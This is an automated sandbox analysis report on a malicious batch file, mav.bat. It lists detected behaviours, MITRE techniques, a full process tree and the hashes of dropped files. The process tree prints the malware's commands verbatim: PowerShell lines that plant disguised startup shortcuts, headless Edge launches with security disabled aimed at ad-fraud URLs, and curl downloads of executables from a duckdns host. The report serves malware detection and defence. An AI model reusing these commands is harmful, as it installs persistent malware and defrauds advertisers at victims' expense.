b2463ffe6c7364b2b8243c1d03ab9e7ae4d0c5cfdc521c286f0cbc9be9c0b2bd

Analysis

max time kernel
39s
max time network
76s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
21/05/2024, 13:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

mav.bat
Size

5KB
MD5

9cd1f26bc3bd3420abf54e82dfcd0189
SHA1

a4240a6d75ca54a3333edde2dc77bfe6f64070ce
SHA256

b2463ffe6c7364b2b8243c1d03ab9e7ae4d0c5cfdc521c286f0cbc9be9c0b2bd
SHA512

e1ed645476a8f55ddbbaa89b8dc93025acc40ee79ba8340cc0fb5024fa69238bbbfcfdee855201ecff1b9f3d2666d3178eee9573f8f6efed3855144b1e61eb32
SSDEEP

96:7DSQNWxRDDENWxLQ1HiFIOpbsHi0axX3OTGj1o:7DSQNWvDDENWMCFKCdnOTGj1o

Score

8^/10

execution

Malware Config

Signatures

Downloads MZ/PE file

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AV.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Graphics.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Watch.lnk	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5084	powershell.exe
1192	powershell.exe
5052	powershell.exe
776	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1656	timeout.exe
940	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5084	powershell.exe
5084	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
5052	powershell.exe
5052	powershell.exe
776	powershell.exe
776	powershell.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeDebugPrivilege	5640	taskmgr.exe
Token: SeSystemProfilePrivilege	5640	taskmgr.exe
Token: SeCreateGlobalPrivilege	5640	taskmgr.exe

Suspicious use of FindShellTrayWindow 15 IoCs

pid	Process
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe

Suspicious use of SendNotifyMessage 15 IoCs

pid	Process
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe
5640	taskmgr.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 1672	4300	cmd.exe	95
PID 4300 wrote to memory of 1672	4300	cmd.exe	95
PID 1672 wrote to memory of 5084	1672	cmd.exe	97
PID 1672 wrote to memory of 5084	1672	cmd.exe	97
PID 1672 wrote to memory of 1192	1672	cmd.exe	98
PID 1672 wrote to memory of 1192	1672	cmd.exe	98
PID 1672 wrote to memory of 5052	1672	cmd.exe	99
PID 1672 wrote to memory of 5052	1672	cmd.exe	99
PID 1672 wrote to memory of 776	1672	cmd.exe	100
PID 1672 wrote to memory of 776	1672	cmd.exe	100
PID 1672 wrote to memory of 1656	1672	cmd.exe	101
PID 1672 wrote to memory of 1656	1672	cmd.exe	101
PID 1672 wrote to memory of 2904	1672	cmd.exe	102
PID 1672 wrote to memory of 2904	1672	cmd.exe	102
PID 1672 wrote to memory of 4876	1672	cmd.exe	103
PID 1672 wrote to memory of 4876	1672	cmd.exe	103
PID 1672 wrote to memory of 2052	1672	cmd.exe	104
PID 1672 wrote to memory of 2052	1672	cmd.exe	104
PID 1672 wrote to memory of 2436	1672	cmd.exe	105
PID 1672 wrote to memory of 2436	1672	cmd.exe	105
PID 1672 wrote to memory of 3516	1672	cmd.exe	106
PID 1672 wrote to memory of 3516	1672	cmd.exe	106
PID 4876 wrote to memory of 4520	4876	WScript.exe	107
PID 4876 wrote to memory of 4520	4876	WScript.exe	107
PID 2436 wrote to memory of 3496	2436	WScript.exe	108
PID 2436 wrote to memory of 3496	2436	WScript.exe	108
PID 2904 wrote to memory of 3448	2904	WScript.exe	110
PID 2904 wrote to memory of 3448	2904	WScript.exe	110
PID 3516 wrote to memory of 1356	3516	WScript.exe	113
PID 3516 wrote to memory of 1356	3516	WScript.exe	113
PID 2052 wrote to memory of 4724	2052	WScript.exe	114
PID 2052 wrote to memory of 4724	2052	WScript.exe	114
PID 4520 wrote to memory of 3612	4520	cmd.exe	117
PID 4520 wrote to memory of 3612	4520	cmd.exe	117
PID 3496 wrote to memory of 4288	3496	cmd.exe	118
PID 3496 wrote to memory of 4288	3496	cmd.exe	118
PID 4724 wrote to memory of 940	4724	cmd.exe	119
PID 4724 wrote to memory of 940	4724	cmd.exe	119
PID 1356 wrote to memory of 4308	1356	cmd.exe	120
PID 1356 wrote to memory of 4308	1356	cmd.exe	120
PID 3448 wrote to memory of 1556	3448	cmd.exe	121
PID 3448 wrote to memory of 1556	3448	cmd.exe	121
PID 3612 wrote to memory of 2832	3612	msedge.exe	122
PID 3612 wrote to memory of 2832	3612	msedge.exe	122
PID 1556 wrote to memory of 3292	1556	msedge.exe	123
PID 1556 wrote to memory of 3292	1556	msedge.exe	123
PID 3612 wrote to memory of 5060	3612	msedge.exe	124
PID 3612 wrote to memory of 5060	3612	msedge.exe	124
PID 3612 wrote to memory of 716	3612	msedge.exe	125
PID 3612 wrote to memory of 716	3612	msedge.exe	125
PID 1556 wrote to memory of 4940	1556	msedge.exe	127
PID 1556 wrote to memory of 4940	1556	msedge.exe	127
PID 1556 wrote to memory of 776	1556	msedge.exe	128
PID 1556 wrote to memory of 776	1556	msedge.exe	128
PID 3496 wrote to memory of 3500	3496	cmd.exe	129
PID 3496 wrote to memory of 3500	3496	cmd.exe	129
PID 1356 wrote to memory of 4352	1356	cmd.exe	126
PID 1356 wrote to memory of 4352	1356	cmd.exe	126

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mav.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\mav.bat"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AV.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Drivers\Intel_AMD\avast.vbs'; $Shortcut.Save()"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Graphics.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Drivers\Intel_AMD\intel.vbs'; $Shortcut.Save()"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Drivers\Intel_AMD\AMD.vbs'; $Shortcut.Save()"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Watch.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Drivers\Intel_AMD\watch.vbs'; $Shortcut.Save()"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:776
- - C:\Windows\system32\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1656
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\Intel_AMD\intel.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2904
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Drivers\Intel_AMD\intel.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --no-sandbox --disable-software-rasterizer --disable-dev-shm-usage --remote-debugging-port=9222 --disable-web-security --user-data-dir="C:\temp-edge" "https://adnade.net/ptp/?user=boris2392&subid=chatlol"
        5⤵
        Enumerates system info in registry
        Suspicious use of WriteProcessMemory
        
        PID:1556
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=1428 --field-trial-handle=1432,i,5173078222432825210,3527107645213885234,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:2
        6⤵
        
        PID:3292
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --headless --mojo-platform-channel-handle=1492 --field-trial-handle=1432,i,5173078222432825210,3527107645213885234,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:3
        6⤵
        
        PID:4940
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --headless --no-sandbox --remote-debugging-port=9222 --allow-pre-commit-input --disable-gpu-compositing --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=1640 --field-trial-handle=1432,i,5173078222432825210,3527107645213885234,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:1
        6⤵
        
        PID:776
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --headless --mojo-platform-channel-handle=2520 --field-trial-handle=1432,i,5173078222432825210,3527107645213885234,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:8
        6⤵
        
        PID:5952
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\Intel_AMD\AMD.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Drivers\Intel_AMD\AMD.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --no-sandbox --disable-software-rasterizer --disable-dev-shm-usage --remote-debugging-port=9444 --disable-web-security --user-data-dir="C:\temp-edge" "https://adnade.net/view.php?user=boris2392&multi=4"
        5⤵
        Enumerates system info in registry
        Suspicious use of WriteProcessMemory
        
        PID:3612
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=1412 --field-trial-handle=1416,i,9073332751018394492,1540435682592949290,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:2
        6⤵
        
        PID:2832
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --headless --mojo-platform-channel-handle=1756 --field-trial-handle=1416,i,9073332751018394492,1540435682592949290,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:3
        6⤵
        
        PID:5060
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --headless --no-sandbox --remote-debugging-port=9444 --allow-pre-commit-input --disable-gpu-compositing --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=1824 --field-trial-handle=1416,i,9073332751018394492,1540435682592949290,262144 --disable-features=PaintHolding --variations-seed-version /prefetch:1
        6⤵
        
        PID:716
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\Intel_AMD\watch.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Drivers\Intel_AMD\watch.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4724
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 360 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:940
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\Intel_AMD\avast.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Drivers\Intel_AMD\avast.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3496
    - - C:\Windows\system32\where.exe
        
        where curl
        5⤵
        
        PID:4288
    - - C:\Windows\system32\curl.exe
        
        curl -o "C:\Users\Admin\AppData\Local\Temp\Windows Update.exe" "http://adpk.duckdns.org:58630/1excppw0/mav17final.exe"
        5⤵
        
        PID:3500
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\Intel_AMD\wind.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Drivers\Intel_AMD\hits.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1356
    - - C:\Windows\system32\where.exe
        
        where curl
        5⤵
        
        PID:4308
    - - C:\Windows\system32\curl.exe
        
        curl -o "C:\Users\Admin\AppData\Local\Temp\hits.exe" "http://adpk.duckdns.org:58630/ethkms6o/hits.exe"
        5⤵
        
        PID:4352

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5640

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x498 0x4b0
1⤵
PID:6020

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8
1⤵
PID:6076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Drivers\Intel_AMD\AMD.bat

Filesize
303B

MD5
ee37de308daff92b8a47baea070c0bc6

SHA1
0cc47e59ee3af3755d928cf28f458f1f1aaaee9a

SHA256
9497b4dd2c2b1f1d274a5d56b941cdf23023c252cf833196ea13679e2b603a8e

SHA512
185184f222142c524b152c6db63bfa4e96cfc38d1e656673907156e79ba0bb34160ba53b474d07293ebb799aa651dbb6a887c1090d07fb1c5474c6d40805f40d

Download Submit
C:\ProgramData\Drivers\Intel_AMD\AMD.vbs

Filesize
152B

MD5
518a828b63145d9169c9720311189994

SHA1
3623da32c28f6b186f2046b5d50f68c980bf76dc

SHA256
74df535f2e1b2a421242777c69ffae6bde14dc363eb3f8671ad3688d5fdedb33

SHA512
43909c52d2f21ca4b890289bc9e3acec1cbcae7dab1c3b4092504324dde82c319f3fa778956fa2b7fa19b5ce9a98d24c2830ab5ecde6be0ac85f337fd8159d47

Download Submit
C:\ProgramData\Drivers\Intel_AMD\avast.bat

Filesize
529B

MD5
7f1673ed86b36112a613900d58a854e9

SHA1
9af74991e2b99f720c08ea0e9b76d60c50f56dea

SHA256
32f60d51dc27f32b02c9db61535e5a83b91abb447c2060a11658c05f5b6915d1

SHA512
4679a1c96ecc8495a7d28e501479b5951683e67c29162338f66dc83e1bd8cc43c84231cb3b236960b20e5327570450e4ea14de800c125b3231cb9c4bee3991e8

Download Submit
C:\ProgramData\Drivers\Intel_AMD\avast.vbs

Filesize
154B

MD5
72844790d36bd633bc866f3f15fd3690

SHA1
1b5bc7faf3047267d166988c62d6d49606c8bdb0

SHA256
9d976cfb9ac2910d57e0e1102041df61e9fa8c9963cbb75b12af02da357297c2

SHA512
b5f3002986aabe382c755e7b95e40518a59767ebb127a75fb5d6049ae37d3ce3a14fec6f1ab42e685017a4e7b90bc5f8c36507ca220149e1beefbfdf64e0b775

Download Submit
C:\ProgramData\Drivers\Intel_AMD\hits.bat

Filesize
513B

MD5
63053a80d3ba3568c1a1a51c07f04cfc

SHA1
85753e449b5a7c5eae829ce93920f72a37a2c83f

SHA256
63fa0f6dc2d256e776773555c7dfc1ac19035be5067f443baece4bbdabefbbea

SHA512
828022007a0c0db6f131f5d5369dac1208e258f5d2fb8393156243754b475b9a02dfb5345c273e8cafad90f0e13c1a8bac971d2b30085245ed57b9f255b0d792

Download Submit
C:\ProgramData\Drivers\Intel_AMD\intel.bat

Filesize
305B

MD5
e4b5f881cfce2902d71d0bb1063dbdb7

SHA1
7072c3a715af578eefca63e2a0226ffa7c48e740

SHA256
aaaaf4d63222e0eeb1752435713c8e2bcdaa651d6c390960bc6fa1092c13763b

SHA512
ebf3b9e5ed8e0abb2d6b26b26132e5274a57df18c9456100dddb1663849d79f7725cfbc241b66e75fcb7e6e88af929f9d834a47510ddc06831cb799072723ee8

Download Submit
C:\ProgramData\Drivers\Intel_AMD\intel.vbs

Filesize
154B

MD5
47c7368ba476f077266837f958cc84f4

SHA1
625369a4804f5207799168fb4030f89068b21c1e

SHA256
b544f5eb09e8723bbee464cb2f72c934d658cf7b7f1b51953a698a212cc2b30b

SHA512
218f847cede88f168e536566bbed76c460d37bb3d0d657013b52f222a729ddb912b31e94abd9842a7747be9586943340e3b4c7a8217895cb6e8a0169a4b5703a

Download Submit
C:\ProgramData\Drivers\Intel_AMD\watch.bat

Filesize
219B

MD5
d9d8e80079e83247c23144dbaf6d52bd

SHA1
a071159caa4cd7b627225de0fd11c67fd989ec98

SHA256
20d4517996b119ba6bcf99c310e952ae35e1ca84708b702b4513cb2704716806

SHA512
cc0ed22cb5e7144a201e0cf24122f814bcf8b6aafa04afdcb96b1c886822b91512ff378b2578cfcb38daaeda8cfa432b9ac84953a19e9445caa0ee02b3c046cf

Download Submit
C:\ProgramData\Drivers\Intel_AMD\watch.vbs

Filesize
154B

MD5
b184a77d9a1a523d3eaf2dde5d01f3a2

SHA1
bca9870a0dc2dfd4a21f1ac41d6d1ba4d074565c

SHA256
23719bcf0a751abf6e23fc369f5bc744f62b588e259043bffc98635230648fb5

SHA512
bdacb10b666036ec0f101fbc0a119b7bf3af5242f68105b964df24cb1afaacdfd2f0c76b8e7267da321718fa79603cb97ed9fa3a5f841c35c7034885c8fd4ace

Download Submit
C:\ProgramData\Drivers\Intel_AMD\wind.vbs

Filesize
153B

MD5
dda96df8e785488ec3211ceb5e851a14

SHA1
3b6fd95963a4baf3145f457cf83704836fbd63d7

SHA256
57664555e5564361d4271710a41a4e2cdb6db7dd85e12caf62d666dc09a4b694

SHA512
f624d3cce4a35d2712e624f4e692a181af3a97601111e908b218d5dca09195816545c4de7a9ec268fe5053d4597730b2601a9196996df94028475572578e2353

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6c4805e00673bef922d51b1a7137028f

SHA1
0eabb38482d1733dd85a2af9c5342c2cafcd41eb

SHA256
7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

SHA512
eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6373f2e98ed1b006003ebcf2a0769b29

SHA1
87cf61f99c0b4d260cecf2194ece28ccb28e1c46

SHA256
1fcd90acbd582307228fde1c76d58ade70234b03f694b5a55b005172b91238ad

SHA512
49ca6d8c60fe1141f2da7622d705998d02f7f88fc62ed6ba7dd155db0c22af87e0a91d0ab877045f89bddbf3a92562d5ada0f7b8fb936f7c125deaacfe853df6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d8356d1901292ab1c540c91fc5a566e1

SHA1
43f7ebcae8fd258f2e704dceea5d279e228469de

SHA256
90af996df16e4574d32f3bd46cdedef8d4c8b2595accbb224b411320068bb7b9

SHA512
e54b149b66a89a736aa9f626358077072941eb210e220e6fe4550be1d124b0c28d2c5c1726ce3ef45e38a280567df3235555773a84a2d1e1e463582c2c1a366e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yjg2n3p4.xbb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AV.lnk

Filesize
890B

MD5
23482fe18bf8f4383cb6ba80ad73d35c

SHA1
417138432a5a43d420ca71247ad4c43c3f2cae4d

SHA256
7feb98320e2f978f41f446f0965267fe85d8912ede2feac929c6818e2fa96e1d

SHA512
3537d5a0b385c999f7c820cf8a114e78ef9715317a33628c057179107f8368b458b9a4bd990ce3909c2e3fe46933cd2eb8dafc961978b2357e7fffb2a6bd4cb4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Graphics.lnk

Filesize
890B

MD5
72741c14bc04ba5b7fc91969527e105e

SHA1
25218c1e8149ce2523331a3a9400f30cb530da06

SHA256
1012cad26aaa49a4673dc3a4c960b34864fa3b96d965af04fce0db307d214dc7

SHA512
3468083950aa1a6c1d976208fef0b9403dc8a886dcad33344694d9185b58a75899f273f78fe61b7b92fc05afaa9990eabbf2972add5a45f22e526d5edbced255

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk

Filesize
878B

MD5
a7a6525dae1bcd6266e261f90d6d2f49

SHA1
52d85939118cbbc1ea45ca8f9a72a035120231c8

SHA256
eb0dcdb144c9e4c4e270f346a7ef85e41b4fd18fa8aab97adf42af2413c95f6e

SHA512
